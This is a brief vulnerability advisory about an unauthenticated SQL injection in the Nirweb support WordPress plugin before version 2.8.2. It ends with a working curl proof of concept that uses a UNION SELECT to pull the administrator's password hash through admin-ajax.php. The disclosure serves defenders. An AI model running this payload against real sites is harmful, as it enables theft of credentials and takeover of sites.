Nirweb support < 2.8.2 - Unauthenticated SQLi

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection

PoC

curl https://example.com/wp-admin/admin-ajax.php --data ‘action=answerd_ticket&id;_form=1 UNION ALL SELECT NULL,NULL,(SELECT user_pass FROM wp_users WHERE ID = 1),NULL,NULL,NULL,NULL,NULL-- -’